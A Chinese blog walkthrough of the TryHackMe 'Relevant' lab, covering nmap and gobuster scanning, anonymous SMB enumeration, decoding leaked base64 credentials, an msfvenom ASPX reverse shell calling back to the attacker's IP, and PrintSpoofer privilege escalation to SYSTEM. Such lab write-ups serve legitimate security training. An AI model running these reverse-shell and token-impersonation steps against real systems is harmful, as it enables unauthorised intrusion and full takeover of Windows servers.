【THM】Relevant-练习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/relevant

通过学习相关知识点:针对实验靶机完成渗透测试挑战。

image

实验简介

你已被分配给一个客户,该客户希望在一个环境中进行渗透测试,该环境将在 7 天内发布到生产环境中。

工作范围:

客户要求渗透测试工程师对目标虚拟环境进行评估,要求工程师提交有关评估的最少信息,客户希望渗透测试人员从恶意行为者的角度进行渗透测试(黑盒渗透测试),另外还要求渗透测试人员提交以下两个标志(未提供具体位置)以作为渗透成果的证明:

  • user.txt
  • root.txt

此外,客户提供了以下补充说明(请自行尝试):

  • 本次活动允许使用任何工具或技术,但要求测试者先尝试手动利用。
  • 找到并记录所有发现的漏洞。
  • 将发现的标志提交到仪表板(dashboard)。
  • 只有分配给你的机器的 IP 地址在渗透测试的资产范围内。
  • 查找并报告所有漏洞(获得root权限的方式不止一个)

答题

启动本地机器(使用KAIL作为本地攻击机),连接TryHackMe平台所提供的openvpn,在实验房间页面点击“Start Machine”以获取目标靶机的IP。

user flag

先对目标靶机进行nmap端口扫描。

nmap -p- 10.10.117.216

image

进一步扫描端口

nmap -p 80,135,139,445,3389,49663,49667,49669 10.10.117.216 -sV -sC

image

由上图可知靶机的80、49663端口都开启了HTTP服务器(IIS),尝试对80端口进行目录扫描--无结果,尝试对49663端口进行目录扫描--结果如下。

gobuster dir -u http://10.10.117.216:49663 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,301' --status-codes-blacklist '' --no-error -t 50
#排除错误结果:--no-error
#线程数设置为50:-t 50
#只显示状态为200和301的目录:-s '200,301'
#将黑名单状态码设置为空(默认的黑名单状态码为404):--status-codes-blacklist ''
#gobuster有时会提示不能同时设置白名单状态码和黑名单状态码,所以此处选择修改默认的黑名单状态码(404)并将其设置为空。

image

由gobuster结果可知:我们可以在浏览器中通过url路径http://10.10.117.216:49663/nt4wrksv/访问到靶机的SMB共享列表中的nt4wrksv目录

目标靶机开启了SMB服务,我们尝试枚举目标机的SMB共享。

smbclient -L \\10.10.117.216  #默认无密码 直接按回车键尝试
#或者输入 smbclient -L \\\\ $IP\\
#或者输入 enum4linux -S $IP //IP为靶机IP

image

从SMB共享列表中看到一个用户,名称为nt4wrksv,尝试使用该账户进行SMB登录并从该SMB共享中下载敏感文件到本地机,然后对文件内容进行查看。

smbclient //10.10.117.216/nt4wrksv #默认无密码,询问登录密码时--直接按回车键
#或者 smbclient -L //10.10.183.234 -U nt4wrksv
#或者输入 smbclient -L \\\\ $IP\\$username

image

得到两个base64编码记录,进行base64解码以获取相关信息(echo "xxxxx" | base64 -d)。

echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d

image

Bob - !P@$$W0rD!123

Bill - Juw4nnaM4n420696969!$$$

构造msfvenom命令以便生成一个反向shell文件,然后再重新登录刚才所访问的SMB共享,通过SMB服务上传反向shell文件(put shell.aspx)到目标靶机。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.16.58 LPORT=1234 -f aspx -o shell.aspx

image

设置Netcat反向shell监听器。

nc -lvnp 1234

image

在通过SMB服务上传文件成功并完成监听器设置后,使用curl命令访问刚才已上传的反向shell文件(路径为:$IP:49663/nt4wrksv/shell.aspx),获得目标shell(输入whoami命令验证)并查看user flag内容。

curl http://10.10.117.216:49663/nt4wrksv/shell.aspx  #在本地浏览器的url中直接访问地址也可
#Windows命令行-- 按文件名查找相关路径 dir /s /b c:\ | find "user.txt"
#使用/b带有 DIR 命令的开关会去除所有多余的信息,仅显示当前目录中的文件夹和文件的名称,而不显示文件大小和时间戳等属性。
#或者直接输入 dir \user.txt /s

image

user flag内容为:THM

image

root flag

在已获得的shell界面输入whoami /priv命令 查看当前用户在目标系统中的相关权限。

image

由上图可知 当前用户似乎启用了 SeImpersonatePrivilege 令牌权限,这意味着我们可以使用令牌模拟来提升权限;接下来我们需要在目标机上执行一个漏洞利用程序--下载PrintSpoofer.exe,并将该exe文件上传到目标机(可以通过SMB服务上传文件)。

image

执行漏洞exp,提供-i参数以在当前命令提示符下与新进程交互,并提供-c参数以指定在程序执行时运行 CMD。

dir /s /b c:\ | find "PrintSpoofer64.exe"
cd c:\inetpub\wwwroot\nt4wrksv\
PrintSpoofer64.exe -i -c cmd

image

提权之后获得目标的root shell,通过此shell界面可以查看root flag内容。

cd /users/administrator

image

THM

image

posted @ 2023-02-23 19:27  Hekeatsll  阅读(408)  评论(1编辑  收藏  举报